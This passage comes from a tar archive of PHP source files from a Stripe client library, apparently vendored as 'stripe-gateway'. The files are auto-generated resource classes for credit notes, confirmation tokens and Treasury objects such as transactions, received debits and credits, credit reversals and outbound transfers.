<code>post_payment</code>. A <code>pre_payment</code> credit note means it was issued when the invoice was open. A <code>post_payment</code> credit note means it was issued when the invoice was paid. * @property null|int $voided_at The time that the credit note was voided. */ class CreditNote extends ApiResource { const OBJECT_NAME = 'credit_note'; use ApiOperations\NestedResource; use ApiOperations\Update; const REASON_DUPLICATE = 'duplicate'; const REASON_FRAUDULENT = 'fraudulent'; const REASON_ORDER_CHANGE = 'order_change'; const REASON_PRODUCT_UNSATISFACTORY = 'product_unsatisfactory'; const STATUS_ISSUED = 'issued'; const STATUS_VOID = 'void'; const TYPE_POST_PAYMENT = 'post_payment'; const TYPE_PRE_PAYMENT = 'pre_payment'; /** * Issue a credit note to adjust the amount of a finalized invoice. For a * <code>status=open</code> invoice, a credit note reduces its * <code>amount_due</code>. For a <code>status=paid</code> invoice, a credit note * does not affect its <code>amount_due</code>. Instead, it can result in any * combination of the following:. * * <ul> <li>Refund: create a new refund (using <code>refund_amount</code>) or link * an existing refund (using <code>refund</code>).</li> <li>Customer balance * credit: credit the customer’s balance (using <code>credit_amount</code>) which * will be automatically applied to their next invoice when it’s finalized.</li> * <li>Outside of Stripe credit: record the amount that is or will be credited * outside of Stripe (using <code>out_of_band_amount</code>).</li> </ul> * * For post-payment credit notes the sum of the refund, credit and outside of * Stripe amounts must equal the credit note total. * * You may issue multiple credit notes for an invoice. Each credit note will * increment the invoice’s <code>pre_payment_credit_notes_amount</code> or * <code>post_payment_credit_notes_amount</code> depending on its * <code>status</code> at the time of credit note creation. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of credit notes. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CreditNote> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the credit note object with the given identifier. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates an existing credit note. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote the previewed credit note */ public static function preview($params = null, $opts = null) { $url = static::classUrl() . '/preview'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CreditNoteLineItem> list of credit note line items */ public static function previewLines($params = null, $opts = null) { $url = static::classUrl() . '/preview/lines'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote the voided credit note */ public function voidCreditNote($params = null, $opts = null) { $url = $this->instanceUrl() . '/void'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } const PATH_LINES = '/lines'; /** * @param string $id the ID of the credit note on which to retrieve the credit note line items * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CreditNoteLineItem> the list of credit note line items */ public static function allLines($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_LINES, $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ConfirmationToken.php������������������������������������������������������������0000644�����������������00000006744�14720677707�0014455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * ConfirmationTokens help transport client side data collected by Stripe JS over * to your server for confirming a PaymentIntent or SetupIntent. If the confirmation * is successful, values present on the ConfirmationToken are written onto the Intent. * * To learn more about how to use ConfirmationToken, visit the related guides: * - <a href="https://stripe.com/docs/payments/finalize-payments-on-the-server">Finalize payments on the server</a> * - <a href="https://stripe.com/docs/payments/build-a-two-step-confirmation">Build two-step confirmation</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|int $expires_at Time at which this ConfirmationToken expires and can no longer be used to confirm a PaymentIntent or SetupIntent. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $mandate_data Data used for generating a Mandate. * @property null|string $payment_intent ID of the PaymentIntent that this ConfirmationToken was used to confirm, or null if this ConfirmationToken has not yet been used. * @property null|\Stripe\StripeObject $payment_method_options Payment-method-specific configuration for this ConfirmationToken. * @property null|\Stripe\StripeObject $payment_method_preview Payment details collected by the Payment Element, used to create a PaymentMethod when a PaymentIntent or SetupIntent is confirmed with this ConfirmationToken. * @property null|string $return_url Return URL used to confirm the Intent. * @property null|string $setup_future_usage <p>Indicates that you intend to make future payments with this ConfirmationToken's payment method.</p><p>The presence of this property will <a href="https://stripe.com/docs/payments/save-during-payment">attach the payment method</a> to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user are complete.</p> * @property null|string $setup_intent ID of the SetupIntent that this ConfirmationToken was used to confirm, or null if this ConfirmationToken has not yet been used. * @property null|\Stripe\StripeObject $shipping Shipping information collected on this ConfirmationToken. * @property bool $use_stripe_sdk Indicates whether the Stripe SDK is used to handle confirmation flow. Defaults to <code>true</code> on ConfirmationToken. */ class ConfirmationToken extends ApiResource { const OBJECT_NAME = 'confirmation_token'; const SETUP_FUTURE_USAGE_OFF_SESSION = 'off_session'; const SETUP_FUTURE_USAGE_ON_SESSION = 'on_session'; /** * Retrieves an existing ConfirmationToken object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ConfirmationToken */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ����������������������������stripe-gateway/lib/Treasury/Transaction.php���������������������������������������������������������0000644�����������������00000006776�14720677707�0015134 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * Transactions represent changes to a <a href="https://stripe.com/docs/api#financial_accounts">FinancialAccount's</a> balance. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in cents) transferred. * @property \Stripe\StripeObject $balance_impact Change to a FinancialAccount's balance * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|\Stripe\Collection<\Stripe\Treasury\TransactionEntry> $entries A list of TransactionEntries that are part of this Transaction. This cannot be expanded in any list endpoints. * @property string $financial_account The FinancialAccount associated with this object. * @property null|string $flow ID of the flow that created the Transaction. * @property null|\Stripe\StripeObject $flow_details Details of the flow that created the Transaction. * @property string $flow_type Type of the flow that created the Transaction. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $status Status of the Transaction. * @property \Stripe\StripeObject $status_transitions */ class Transaction extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.transaction'; const FLOW_TYPE_CREDIT_REVERSAL = 'credit_reversal'; const FLOW_TYPE_DEBIT_REVERSAL = 'debit_reversal'; const FLOW_TYPE_INBOUND_TRANSFER = 'inbound_transfer'; const FLOW_TYPE_ISSUING_AUTHORIZATION = 'issuing_authorization'; const FLOW_TYPE_OTHER = 'other'; const FLOW_TYPE_OUTBOUND_PAYMENT = 'outbound_payment'; const FLOW_TYPE_OUTBOUND_TRANSFER = 'outbound_transfer'; const FLOW_TYPE_RECEIVED_CREDIT = 'received_credit'; const FLOW_TYPE_RECEIVED_DEBIT = 'received_debit'; const STATUS_OPEN = 'open'; const STATUS_POSTED = 'posted'; const STATUS_VOID = 'void'; /** * Retrieves a list of Transaction objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\Transaction> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing Transaction. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\Transaction */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ��stripe-gateway/lib/Treasury/TransactionEntry.php����������������������������������������������������0000644�����������������00000011047�14720677707�0016141 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * TransactionEntries represent individual units of money movements within a single <a href="https://stripe.com/docs/api#transactions">Transaction</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $balance_impact Change to a FinancialAccount's balance * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property int $effective_at When the TransactionEntry will impact the FinancialAccount's balance. * @property string $financial_account The FinancialAccount associated with this object. * @property null|string $flow Token of the flow associated with the TransactionEntry. * @property null|\Stripe\StripeObject $flow_details Details of the flow associated with the TransactionEntry. * @property string $flow_type Type of the flow associated with the TransactionEntry. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string|\Stripe\Treasury\Transaction $transaction The Transaction associated with this object. * @property string $type The specific money movement that generated the TransactionEntry. */ class TransactionEntry extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.transaction_entry'; const FLOW_TYPE_CREDIT_REVERSAL = 'credit_reversal'; const FLOW_TYPE_DEBIT_REVERSAL = 'debit_reversal'; const FLOW_TYPE_INBOUND_TRANSFER = 'inbound_transfer'; const FLOW_TYPE_ISSUING_AUTHORIZATION = 'issuing_authorization'; const FLOW_TYPE_OTHER = 'other'; const FLOW_TYPE_OUTBOUND_PAYMENT = 'outbound_payment'; const FLOW_TYPE_OUTBOUND_TRANSFER = 'outbound_transfer'; const FLOW_TYPE_RECEIVED_CREDIT = 'received_credit'; const FLOW_TYPE_RECEIVED_DEBIT = 'received_debit'; const TYPE_CREDIT_REVERSAL = 'credit_reversal'; const TYPE_CREDIT_REVERSAL_POSTING = 'credit_reversal_posting'; const TYPE_DEBIT_REVERSAL = 'debit_reversal'; const TYPE_INBOUND_TRANSFER = 'inbound_transfer'; const TYPE_INBOUND_TRANSFER_RETURN = 'inbound_transfer_return'; const TYPE_ISSUING_AUTHORIZATION_HOLD = 'issuing_authorization_hold'; const TYPE_ISSUING_AUTHORIZATION_RELEASE = 'issuing_authorization_release'; const TYPE_OTHER = 'other'; const TYPE_OUTBOUND_PAYMENT = 'outbound_payment'; const TYPE_OUTBOUND_PAYMENT_CANCELLATION = 'outbound_payment_cancellation'; const TYPE_OUTBOUND_PAYMENT_FAILURE = 'outbound_payment_failure'; const TYPE_OUTBOUND_PAYMENT_POSTING = 'outbound_payment_posting'; const TYPE_OUTBOUND_PAYMENT_RETURN = 'outbound_payment_return'; const TYPE_OUTBOUND_TRANSFER = 'outbound_transfer'; const TYPE_OUTBOUND_TRANSFER_CANCELLATION = 'outbound_transfer_cancellation'; const TYPE_OUTBOUND_TRANSFER_FAILURE = 'outbound_transfer_failure'; const TYPE_OUTBOUND_TRANSFER_POSTING = 'outbound_transfer_posting'; const TYPE_OUTBOUND_TRANSFER_RETURN = 'outbound_transfer_return'; const TYPE_RECEIVED_CREDIT = 'received_credit'; const TYPE_RECEIVED_DEBIT = 'received_debit'; /** * Retrieves a list of TransactionEntry objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\TransactionEntry> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a TransactionEntry object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\TransactionEntry */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/ReceivedDebit.php�������������������������������������������������������0000644�����������������00000007607�14720677707�0015337 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * ReceivedDebits represent funds pulled from a <a href="https://stripe.com/docs/api#financial_accounts">FinancialAccount</a>. These are not initiated from the FinancialAccount. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in cents) transferred. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|string $failure_code Reason for the failure. A ReceivedDebit might fail because the FinancialAccount doesn't have sufficient funds, is closed, or is frozen. * @property null|string $financial_account The FinancialAccount that funds were pulled from. * @property null|string $hosted_regulatory_receipt_url A <a href="https://stripe.com/docs/treasury/moving-money/regulatory-receipts">hosted transaction receipt</a> URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. * @property null|\Stripe\StripeObject $initiating_payment_method_details * @property \Stripe\StripeObject $linked_flows * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $network The network used for the ReceivedDebit. * @property null|\Stripe\StripeObject $reversal_details Details describing when a ReceivedDebit might be reversed. * @property string $status Status of the ReceivedDebit. ReceivedDebits are created with a status of either <code>succeeded</code> (approved) or <code>failed</code> (declined). The failure reason can be found under the <code>failure_code</code>. * @property null|string|\Stripe\Treasury\Transaction $transaction The Transaction associated with this object. */ class ReceivedDebit extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.received_debit'; const FAILURE_CODE_ACCOUNT_CLOSED = 'account_closed'; const FAILURE_CODE_ACCOUNT_FROZEN = 'account_frozen'; const FAILURE_CODE_INSUFFICIENT_FUNDS = 'insufficient_funds'; const FAILURE_CODE_OTHER = 'other'; const NETWORK_ACH = 'ach'; const NETWORK_CARD = 'card'; const NETWORK_STRIPE = 'stripe'; const STATUS_FAILED = 'failed'; const STATUS_SUCCEEDED = 'succeeded'; /** * Returns a list of ReceivedDebits. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\ReceivedDebit> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing ReceivedDebit by passing the unique * ReceivedDebit ID from the ReceivedDebit list. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\ReceivedDebit */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/CreditReversal.php������������������������������������������������������0000644�����������������00000010205�14720677707�0015543 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * You can reverse some <a href="https://stripe.com/docs/api#received_credits">ReceivedCredits</a> depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in cents) transferred. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $financial_account The FinancialAccount to reverse funds from. * @property null|string $hosted_regulatory_receipt_url A <a href="https://stripe.com/docs/treasury/moving-money/regulatory-receipts">hosted transaction receipt</a> URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $network The rails used to reverse the funds. * @property string $received_credit The ReceivedCredit being reversed. * @property string $status Status of the CreditReversal * @property \Stripe\StripeObject $status_transitions * @property null|string|\Stripe\Treasury\Transaction $transaction The Transaction associated with this object. */ class CreditReversal extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.credit_reversal'; const NETWORK_ACH = 'ach'; const NETWORK_STRIPE = 'stripe'; const STATUS_CANCELED = 'canceled'; const STATUS_POSTED = 'posted'; const STATUS_PROCESSING = 'processing'; /** * Reverses a ReceivedCredit and creates a CreditReversal object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\CreditReversal the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of CreditReversals. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\CreditReversal> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing CreditReversal by passing the unique * CreditReversal ID from either the CreditReversal creation request or * CreditReversal list. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\CreditReversal */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/FinancialAccountFeatures.php��������������������������������������������0000644�����������������00000002567�14720677707�0017541 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * Encodes whether a FinancialAccount has access to a particular Feature, with a <code>status</code> enum and associated <code>status_details</code>. * Stripe or the platform can control Features via the requested field. * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $card_issuing Toggle settings for enabling/disabling a feature * @property null|\Stripe\StripeObject $deposit_insurance Toggle settings for enabling/disabling a feature * @property null|\Stripe\StripeObject $financial_addresses Settings related to Financial Addresses features on a Financial Account * @property null|\Stripe\StripeObject $inbound_transfers InboundTransfers contains inbound transfers features for a FinancialAccount. * @property null|\Stripe\StripeObject $intra_stripe_flows Toggle settings for enabling/disabling a feature * @property null|\Stripe\StripeObject $outbound_payments Settings related to Outbound Payments features on a Financial Account * @property null|\Stripe\StripeObject $outbound_transfers OutboundTransfers contains outbound transfers features for a FinancialAccount. */ class FinancialAccountFeatures extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.financial_account_features'; } �����������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/OutboundTransfer.php����������������������������������������������������0000644�����������������00000014456�14720677707�0016145 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * Use OutboundTransfers to transfer funds from a <a href="https://stripe.com/docs/api#financial_accounts">FinancialAccount</a> to a PaymentMethod belonging to the same entity. To send funds to a different party, use <a href="https://stripe.com/docs/api#outbound_payments">OutboundPayments</a> instead. You can send funds over ACH rails or through a domestic wire transfer to a user's own external bank account. * * Simulate OutboundTransfer state changes with the <code>/v1/test_helpers/treasury/outbound_transfers</code> endpoints. These methods can only be called on test mode objects. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in cents) transferred. * @property bool $cancelable Returns <code>true</code> if the object can be canceled, and <code>false</code> otherwise. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|string $destination_payment_method The PaymentMethod used as the payment instrument for an OutboundTransfer. * @property \Stripe\StripeObject $destination_payment_method_details * @property int $expected_arrival_date The date when funds are expected to arrive in the destination account. * @property string $financial_account The FinancialAccount that funds were pulled from. * @property null|string $hosted_regulatory_receipt_url A <a href="https://stripe.com/docs/treasury/moving-money/regulatory-receipts">hosted transaction receipt</a> URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $returned_details Details about a returned OutboundTransfer. Only set when the status is <code>returned</code>. * @property string $statement_descriptor Information about the OutboundTransfer to be sent to the recipient account. * @property string $status Current status of the OutboundTransfer: <code>processing</code>, <code>failed</code>, <code>canceled</code>, <code>posted</code>, <code>returned</code>. An OutboundTransfer is <code>processing</code> if it has been created and is pending. The status changes to <code>posted</code> once the OutboundTransfer has been "confirmed" and funds have left the account, or to <code>failed</code> or <code>canceled</code>. If an OutboundTransfer fails to arrive at its destination, its status will change to <code>returned</code>. * @property \Stripe\StripeObject $status_transitions * @property null|\Stripe\StripeObject $tracking_details Details about network-specific tracking information if available. * @property string|\Stripe\Treasury\Transaction $transaction The Transaction associated with this object. */ class OutboundTransfer extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.outbound_transfer'; const STATUS_CANCELED = 'canceled'; const STATUS_FAILED = 'failed'; const STATUS_POSTED = 'posted'; const STATUS_PROCESSING = 'processing'; const STATUS_RETURNED = 'returned'; /** * Creates an OutboundTransfer. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of OutboundTransfers sent from the specified FinancialAccount. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\OutboundTransfer> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing OutboundTransfer by passing the unique * OutboundTransfer ID from either the OutboundTransfer creation request or * OutboundTransfer list. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer the canceled outbound transfer */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/ReceivedCredit.php������������������������������������������������������0000644�����������������00000007637�14720677707�0015525 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * ReceivedCredits represent funds sent to a <a href="https://stripe.com/docs/api#financial_accounts">FinancialAccount</a> (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in cents) transferred. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|string $failure_code Reason for the failure. A ReceivedCredit might fail because the receiving FinancialAccount is closed or frozen. * @property null|string $financial_account The FinancialAccount that received the funds. * @property null|string $hosted_regulatory_receipt_url A <a href="https://stripe.com/docs/treasury/moving-money/regulatory-receipts">hosted transaction receipt</a> URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. * @property \Stripe\StripeObject $initiating_payment_method_details * @property \Stripe\StripeObject $linked_flows * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $network The rails used to send the funds. * @property null|\Stripe\StripeObject $reversal_details Details describing when a ReceivedCredit may be reversed. * @property string $status Status of the ReceivedCredit. ReceivedCredits are created either <code>succeeded</code> (approved) or <code>failed</code> (declined). If a ReceivedCredit is declined, the failure reason can be found in the <code>failure_code</code> field. * @property null|string|\Stripe\Treasury\Transaction $transaction The Transaction associated with this object. */ class ReceivedCredit extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.received_credit'; const FAILURE_CODE_ACCOUNT_CLOSED = 'account_closed'; const FAILURE_CODE_ACCOUNT_FROZEN = 'account_frozen'; const FAILURE_CODE_OTHER = 'other'; const NETWORK_ACH = 'ach'; const NETWORK_CARD = 'card'; const NETWORK_STRIPE = 'stripe'; const NETWORK_US_DOMESTIC_WIRE = 'us_domestic_wire'; const STATUS_FAILED = 'failed'; const STATUS_SUCCEEDED = 'succeeded'; /** * Returns a list of ReceivedCredits. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\ReceivedCredit> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing ReceivedCredit by passing the unique * ReceivedCredit ID from the ReceivedCredit list. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\ReceivedCredit */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/OutboundPayment.php�����������������������������������������������������0000644�����������������00000015141�14720677707�0015766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our 